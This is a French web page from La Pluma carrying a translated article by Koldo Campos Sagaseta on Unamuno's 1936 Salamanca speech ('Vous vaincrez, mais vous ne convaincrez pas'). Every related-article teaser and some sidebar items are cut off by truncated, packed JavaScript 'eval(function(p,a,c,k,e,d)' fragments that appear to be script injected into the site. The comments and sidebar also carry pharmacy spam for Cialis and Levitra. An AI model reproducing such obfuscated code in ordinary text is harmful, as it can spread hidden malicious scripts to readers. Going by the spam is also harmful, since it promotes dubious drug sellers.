REDHER - La pluma


«…mais vous ne convaincrez pas»

Envoyer Imprimer PDF

koldo_100_150BisC'était le 12 octobre 1936 et, dans le grand amphithéâtre bondé de l'Université de Salamanque, on célébrait le Jour de la Race. Personne ne manquait. Ni l'évêque ni la légion espagnole. Le recteur, Miguel de Unamuno, ne devait pas prendre la parole mais, après les premières diatribes et harangues de certains orateurs, il se lève: «... On a également parlé des Catalans et des Basques, en les appelant l’anti-Espagne. Eh bien, avec la même raison, ils peuvent en dire autant. Et il y a ici monsieur l'évêque, catalan, pour vous enseigner la doctrine chrétienne que vous ne voulez pas connaître, et moi, qui suis Basque, qui ai passé toute ma vie à vous enseigner la langue espagnole que vous ne connaissez pas ... »

Millán Astray, qui est également recteur, bien que, au lieu d'un cloître, il dirige la légion, vocifère indigné son meilleur argument: Vive la mort! et il développe sa thèse: « La Catalogne et le Pays Basque sont deux cancers dans le corps de la nation! Le fascisme, le remède de l'Espagne, vient les exterminer en coupant dans la chair vivante et saine comme un scalpel froid! »

Deux mois plus tard, mis à l’écart de l'université et en résidence surveillée, Unamuno devait mourir, mais dans ce qui allait être sa dernière intervention publique il ne laissa pas sans réponse les tirades du «fiancé de la mort» Millán Astray : «Vous vaincrez, mais vous ne convaincrez pas. Vous vaincrez parce que vous avez assez de force brute, mais vous ne convaincrez pas parce que convaincre signifie persuader. Et pour persuader vous avez besoin de quelque chose qui vous manque : la raison et le droit dans le combat. Il me semble inutile de vous demander de penser à l'Espagne. »

(Euskal presoak-euskal herrira)

Koldo Campos Sagaseta

Original: «… pero no convenceréis»

Traduit par Fausto Giudice Фаусто Джудиче فاوستو جيوديشي

Source : Tlaxcala, le 12 octobre 2017


 
Plus d'articles :

» Comment Israël a contribué à la renaissance de sinistres ethno-nationalismes en Europe

La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» 8 Mars: Ya encore combien ?

Quand eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» L'affaire Fontana et le néo-racisme à l'italienne

Le eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Antom Santos, ex-prisonnier indépendantiste galicien : “L’indépendance des nations de l’État espagnol est illégale et ils continueront à nous persécuter par tous les moyens”

 Entretien eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

» Doutes et certitudes sur la Catalogne

Au eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Donald l’imposteur, le retour : On peut brûler des livres mais pas les idées

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Venezuela, écarte de moi ce calice

«Défendez-nous, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...

» Venezuela : comment les médias internationaux incitent à tuer

Au eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Antonio Gramsci et la bataille contre le fascisme

Intervention eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

» Permis de tuer

Le eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

Ajouter un Commentaire


Code de sécurité
Rafraîchir

Gracias, pero con Cialis soft intentaron sin embargo, lo que los medicamentos como el Viagra comprar-cialis.net

Les dossiers brûlants d'actualité

 

Éditorial La Pluma n ° 1: À tou.tes

Nous eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};...

 

Venezuela: la parole au Pouvoir constituant originel, le peuple !

« Dans eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){retur...
Uno Levitra Professional es de los MEDICAMENTOS mas Comunes comprar levitra en-linea

Compteur des visites

mod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_countermod_vvisit_counter
mod_vvisit_counterAujourd'hui10248
mod_vvisit_counterHier12444
mod_vvisit_counterCette semaine10248
mod_vvisit_countersemaine précedente86228
mod_vvisit_counterCe-mois-ci226895
mod_vvisit_countermois précedent332053

We have: 160 guests online
Ton IP: 54.158.52.166
 , 
Aujourd'hui: 23 Sep 2018